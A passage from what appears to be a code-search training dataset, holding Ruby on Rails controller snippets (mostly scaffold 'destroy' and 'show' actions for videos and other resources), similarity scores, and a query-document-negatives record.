"def destroy\n @class_taken = ClassTaken.find(params[:id])\n @class_taken.destroy\n\n respond_to do |format|\n format.html { redirect_to class_takens_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_test.destroy\n respond_to do |format|\n format.html { redirect_to class_tests_url, notice: 'Class test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_time.destroy\n respond_to do |format|\n format.html { redirect_to class_times_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stringlist = Stringlist.find(params[:id])\n Redis.current.del @stringlist.redis_key\n @stringlist.destroy\n\n respond_to do |format|\n format.html { redirect_to stringlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wordclass.destroy\n respond_to do |format|\n format.html { redirect_to wordclasses_url, notice: 'Wordclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mtype = Mtype.find(params[:id])\n @mtype.destroy\n\n respond_to do |format|\n format.html { redirect_to mtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mattch.destroy\n respond_to do |format|\n format.html { redirect_to mattches_url, notice: 'Mattch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cl.destroy\n respond_to do |format|\n format.html { redirect_to cls_url, notice: 'Cl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classes = ClassroomTiming.find(params[:id])\n @classes.destroy\n flash[:success] = \"Deleted class Successfully\" \n redirect_to class_index_path\nend",
"def destroy\n @detail_class.destroy\n respond_to do |format|\n format.html { redirect_to detail_classes_url, notice: 'Detail class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mystic.destroy\n respond_to do |format|\n format.html { redirect_to mystics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crew_class.destroy\n respond_to do |format|\n format.html { redirect_to crew_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def delete_class o_class\n cl = classname(o_class)\n logger.progname = 'RestDelete#DeleteClass'\n if @classes.include? cl\n begin\n \t response = @res[\"/class/#{@database}/#{cl}\"].delete\n if response.code == 204\n \t logger.info{\"Class #{cl} deleted.\"}\n @classes.delete(cl)\n end\n rescue RestClient::InternalServerError => e\n \t if get_database_classes(requery: true).include?(cl)\n \t logger.error{\"Class #{cl} still present.\"}\n \t logger.error{e.inspect}\n \t false\n \t else\n logger.error{e.inspect}\n \t true\n \t end\n rescue Exception => e\n logger.error{e.message}\n logger.error{e.inspect}\n end\n else\n cl.nil? ? logger.info{\"Class #{o_class} not present.\"} : logger.info{\"Class #{cl} not present.\"}\n end\n end",
"def destroy\n @mush_crawler = MushCrawler.find(params[:id])\n @mush_crawler.destroy\n\n respond_to do |format|\n format.html { redirect_to(mush_crawlers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mi = Mi.find(params[:id])\n @mi.destroy\n\n respond_to do |format|\n format.html { redirect_to mis_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bdm.destroy\n respond_to do |format|\n format.html { redirect_to bdms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mill = Mill.find(params[:id])\n @mill.destroy\n\n respond_to do |format|\n format.html { redirect_to mills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mistake = Mistake.find(params[:id])\n @mistake.destroy\n\n respond_to do |format|\n format.html { redirect_to mistakes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data_class.destroy\n respond_to do |format|\n format.html { redirect_to data_classes_url, notice: 'Data class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gg_classlist.destroy\n respond_to do |format|\n format.html { redirect_to gg_classlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @klass = Klass.find(params[:id])\n @klass.destroy\n\n respond_to do |format|\n format.html { redirect_to(klasses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cotiz_clo_mul.destroy\n respond_to do |format|\n format.html { redirect_to cotiz_clo_muls_url, notice: 'Cotiz clo mul was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @song_class.destroy\n respond_to do |format|\n format.html { redirect_to song_classes_url, notice: 'Song class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @discipleship_class.destroy\n respond_to do |format|\n format.html { redirect_to discipleship_classes_url, notice: 'Discipleship class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mrv.destroy\n respond_to do |format|\n format.html { redirect_to mrvs_url, notice: 'Mrv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slam = Slam.find(params[:id])\n @slam.destroy\n\n respond_to do |format|\n format.html { redirect_to slams_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inclass.destroy\n respond_to do |format|\n format.html { redirect_to inclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moresmallmobsquad = Moresmallmobsquad.find(params[:id])\n @moresmallmobsquad.destroy\n\n respond_to do |format|\n format.html { redirect_to moresmallmobsquads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classtime.destroy\n respond_to do |format|\n format.html { redirect_to admin_classtimes_url, notice: 'Classtime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mstatus.destroy\n respond_to do |format|\n format.html { redirect_to mstatuses_url, notice: 'Status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mall = Mall.find(params[:id])\n @mall.destroy\n\n respond_to do |format|\n format.html { redirect_to malls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_class_lab.destroy\n respond_to do |format|\n format.html { redirect_to request_class_labs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iclass = Iclass.find(params[:id])\n @iclass.destroy\n\n respond_to do |format|\n format.html { redirect_to iclasses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @dnd_class.destroy\n respond_to do |format|\n format.html { redirect_to dnd_classes_url, notice: 'Dnd class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @immigrant = Immigrant.find(params[:id])\n @immigrant.destroy\n\n respond_to do |format|\n format.html { redirect_to immigrants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mib = Mib.find(params[:id])\n @mib.destroy\n\n respond_to do |format|\n format.html { redirect_to mibs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mystock.destroy\n respond_to do |format|\n format.html { redirect_to mystocks_path, notice: 'mystock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @m_test_type.destroy\n respond_to do |format|\n format.html { redirect_to m_test_types_url, notice: 'M test type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gommi.destroy\n respond_to do |format|\n format.html { redirect_to gommis_url, notice: 'Gommi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mc_batch.destroy\n respond_to do |format|\n format.html { redirect_to mc_batches_url, notice: 'MC batch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @mall_type = MallType.find(params[:id])\n @mall_type.destroy\n\n respond_to do |format|\n format.html { redirect_to mall_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_class.destroy\n respond_to do |format|\n format.html { redirect_to food_classes_url, notice: 'Food class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quest_tree = QuestTree.find(params[:id])\n @quest_tree.destroy\n\n respond_to do |format|\n format.html { redirect_to quest_trees_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @server = Server.find(params[:id])\n checkaccountobject(\"servers\",@server)\n @server.send_delete\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project_detail_string.destroy\n respond_to do |format|\n format.html { redirect_to project_detail_strings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maturi.destroy\n respond_to do |format|\n format.html { redirect_to maturis_url, notice: 'Maturi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mile.destroy\n respond_to do |format|\n format.html { redirect_to miles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @schoolclass = Schoolclass.find(params[:id])\n @schoolclass.destroy\n\n respond_to do |format|\n format.html { redirect_to schoolclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mriscantask = Mriscantask.find(params[:id])\n @mriscantask.destroy\n\n respond_to do |format|\n format.html { redirect_to(mriscantasks_url) }\n format.xml { head :ok }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classified.destroy\n respond_to do |format|\n format.html { redirect_to classifieds_url, notice: 'Classified was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6695708",
"0.66694635",
"0.66257393",
"0.6602856",
"0.6503053",
"0.649038",
"0.6460784",
"0.64586323",
"0.6439553",
"0.6428524",
"0.6426718",
"0.6402536",
"0.63996416",
"0.63938695",
"0.63475513",
"0.6335546",
"0.6328293",
"0.63274884",
"0.6316141",
"0.63152456",
"0.6249755",
"0.6246574",
"0.623085",
"0.62201184",
"0.6208514",
"0.61943424",
"0.61936116",
"0.61846155",
"0.6173183",
"0.6171743",
"0.6170189",
"0.6168559",
"0.61633676",
"0.6162606",
"0.61516684",
"0.61513525",
"0.6147032",
"0.6144986",
"0.61387783",
"0.6137487",
"0.6127133",
"0.61262745",
"0.61238873",
"0.6123247",
"0.61215025",
"0.6120454",
"0.6117086",
"0.61096567",
"0.6103993",
"0.6093594",
"0.60927784",
"0.6090808",
"0.6088068",
"0.6085454",
"0.6085405",
"0.6084851",
"0.60839164",
"0.60741365",
"0.6070894",
"0.60679996",
"0.6066104",
"0.606462",
"0.606019",
"0.60527676",
"0.60516995",
"0.60495067",
"0.6048342",
"0.6047433",
"0.6041188",
"0.6038866",
"0.6038159",
"0.6037939",
"0.6035337",
"0.6034644",
"0.60323477",
"0.6030348",
"0.60262257",
"0.6025109",
"0.60241383",
"0.602021",
"0.6013912",
"0.60124415",
"0.6010059",
"0.6009128",
"0.6009067",
"0.60078466",
"0.60070086",
"0.60066026",
"0.600544",
"0.6004026",
"0.6002232",
"0.6000583",
"0.60003936",
"0.5994641",
"0.5993301",
"0.5992587",
"0.5990481",
"0.5989469",
"0.598943",
"0.59886205"
] |
0.7703819
|
0
|
GET /videos GET /videos.json
|
def index
@videos = current_user.videos
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def index\n @videos = current_user.videos\n respond_with(@videos)\n end",
"def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n render json: @video\n end",
"def show\n render json: @video\n end",
"def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @videos = Video.find_by(id: params[:id])\n end",
"def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end",
"def resources\n videos\n end",
"def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend",
"def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end",
"def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @videos = @item.videos\n end",
"def index\n @videos = @item.videos\n end",
"def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def index\n @videos = Video.all\n end",
"def show\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video = Video.find(params[:id])\n\n @comments = @video.comments.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def load_videos2\n json = File.read(VIDEOS2_FILE)\n array = JSON.parse(json)\n array[\"videos\"].map! { |v| {\"postId\" => v[\"postId\"], \"wordList\" => v[\"wordList\"]}}\n array[\"videos\"]\n end",
"def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end",
"def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end",
"def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end",
"def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def video\n YouTubeApi.find_video(youtube_id)\n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end",
"def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end",
"def show\n render :json => @video, :include => ALL_INCLUDES\n end",
"def index\n @videos = @palestrante.videos.mais_novos\n end",
"def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end",
"def index\n if params.include?(:scene_id)\n @videos = Video.with_scene_id(params[:scene_id])\n\n respond_to do |format|\n format.json { render :json => @videos }\n format.html # index.html.erb\n end\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\")\n end\n end",
"def myvideos\n @videos = @current_user.videos.all\n end",
"def my_video(video_id)\n client.get_my_video(video_id)\n end",
"def index\n begin\n @active_page = \"videos\"\n @videos = Video.all\n @is_create_channel = current_user.channel.blank?\n respond_with(@videos)\n rescue Exception => e\n log_error(e, \"Error occured in Index action of VideosController\")\n flash_error(t('videos.index_page_load_error'))\n end\n end",
"def index\n @videos = Video.where(user_id: current_user.id)\n end",
"def index\n @medio_videos = MedioVideo.all\n end",
"def index\n ip = index_params()\n published = ip[:published].boolean? ? ip[:published] : (ip[:published].nil? ? DEFAULT_PUBLISHED : ip[:published].to_b)\n @videos = Video.includes(:video_motifs).where(:published => published)\n @motif_ids = ip[:motif_ids] || (ip[:query] || []).select { |val|\n val.starts_with? '__'\n }.map { |val| val[2..-1] }\n @keywords = ip[:keywords] || (ip[:query] || []).select { |val|\n !val.starts_with? '__'\n }\n @videos = @videos.has_combined_motifs(@motif_ids) if !@motif_ids.empty?\n @videos = @videos.keywords_include(@keywords) if !@keywords.empty?\n @videos = @videos.order('created_at DESC')\n render :json => @videos, :include => ALL_INCLUDES\n end",
"def getVideos\n\t\tvideos = JSON.parse(RestClient.get(\"https://#{Cbthelper.username}:#{Cbthelper.authkey}@crossbrowsertesting.com/api/v3/selenium/#{@testId}/videos/\"))\t\n\t\tret = []\n\n\t\tfor video in videos\n\t\t\tret.push(Video.new(video[\"hash\"], @testId))\n\n\t\tend\n\n\t\treturn ret\n\tend",
"def videos_for_page(page_number)\n @client.get('viddler.videos.getByUser', :user => @username, :per_page => API_PER_PAGE,\n :page => page_number, :visibility => 'public,embed')['list_result']['video_list']\n end",
"def list\n respond_to do |format|\n format.html { render partial: 'videos/issues_video_container', locals: {videos: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per]), issue: Issue.where(id: params[:issue_id])} }\n format.json { render json: Video.where(issue_id: params[:issue_id]).page(params[:page]).per(params[:per])}\n end\n end",
"def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end",
"def index\r\n @videos = Video.all.select{|v| v.is_visible and v.is_valid}.sort_by{|v| v[:created_at]}.reverse\r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #index.html.erb\r\n format.json { render json: @videos }\r\n end\r\n end",
"def get_videos(opts = {})\n data, _status_code, _headers = get_videos_with_http_info(opts)\n return data\n end",
"def show\n @user_video = UserVideo.find(params[:id]) \n @vid_id = @user_video.video_embed.split('?v=')[1]\n @u = \"http://www.youtube.com/embed/\" + @vid_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end",
"def list(key, **options)\n\t\t\t\tjson = get_request(options.merge(:method => 'list',\n\t\t\t\t\t\t\t\t\t\t\t\t :video_key => key))\n\t\t\t\tres = JSON.parse(json.body)\n\t\t\t\t\n\t\t\t\tif json.status == 200\n\t\t\t\t\tresults = process_list_response(res)\n\t\t\t\telse\n\t\t\t\t\traise \"HTTP Error #{json.status}: #{json.body}\"\n\t\t\t\tend\n\n\t\t\t\treturn results\n\t\t\tend",
"def index\n @game_videos = GameVideo.all\n end",
"def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end",
"def list_assets\n get('/video/v1/assets')\n end",
"def index\n @videos = Video.where(project_id: @project.id)\n end",
"def videos\n video_ids = []\n @list_data['items'].each do |top_video|\n video_ids.push(top_video['id']['videoId']) unless top_video['id']['videoId'].nil?\n end\n\n # since we need to call youtube/api/videos to get the embed_link\n videos_data = @gateway.certain_id_videos_data(video_ids)\n @top_video_mapper.build_video_items(videos_data['items'])\n end",
"def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def videos_for(items, key, options)\n items.body['items'].map{|item| item['id'] = item[key]['videoId']}\n\n if options[:parts] == %i(id)\n items\n else\n options[:ids] = items.body['items'].map{|item| item['id']}\n options[:offset] = nil\n fetch('/youtube/v3/videos', resource_params(options)).tap do |response|\n response.body['nextPageToken'] = items.body['nextPageToken']\n end\n end\n end",
"def index\n @q = Video.search(params[:q])\n @videos = @q.result(distinct: true).page(params[:page])\n end",
"def video_by(params)\n params = {:video_id => params} if !params.is_a?(Hash)\n url = \"http://gdata.youtube.com/feeds/api/\"\n video_id = params[:video_id].split(\"/\").last\n if params[:user]\n url << \"users/#{params[:user]}/uploads/#{video_id}\"\n else\n url << \"videos/#{video_id}\"\n end\n parser = YouTubeG::Parser::VideoFeedParser.new(url, request_headers, request_options)\n parser.parse\n end",
"def index\n @videos = Video.order(date: :desc).page(params[:page]).per(20)\n end",
"def index\n @adm_videos = Adm::Video.all\n end",
"def index\n @jeux_videos = JeuxVideo.all\n end",
"def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end"
] |
[
"0.8300022",
"0.7734552",
"0.77048963",
"0.75849354",
"0.74897736",
"0.74893093",
"0.74893093",
"0.74893093",
"0.74893093",
"0.74756104",
"0.73633087",
"0.7358063",
"0.7357167",
"0.730496",
"0.72600365",
"0.7200847",
"0.7194637",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.71250415",
"0.7085412",
"0.70684433",
"0.7036135",
"0.7017698",
"0.699443",
"0.6991208",
"0.6979618",
"0.6979618",
"0.69184655",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.6906925",
"0.68932444",
"0.6818995",
"0.68098456",
"0.68083775",
"0.6794046",
"0.6744188",
"0.67403173",
"0.67352504",
"0.6722808",
"0.6694471",
"0.6689885",
"0.66561776",
"0.6641832",
"0.6627515",
"0.6626942",
"0.66121143",
"0.65826446",
"0.65740263",
"0.6573361",
"0.6566227",
"0.6564764",
"0.65575427",
"0.6553287",
"0.654354",
"0.65110373",
"0.65088034",
"0.65042096",
"0.6498",
"0.6494269",
"0.64890003",
"0.64888495",
"0.648101",
"0.6469039",
"0.6464926",
"0.6459276",
"0.6454772",
"0.6450189",
"0.64495236",
"0.6440387",
"0.64381814",
"0.64281625",
"0.64088345",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569",
"0.6408569"
] |
0.69204074
|
32
|
GET /videos/1 GET /videos/1.json
|
def show
@video = Video.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
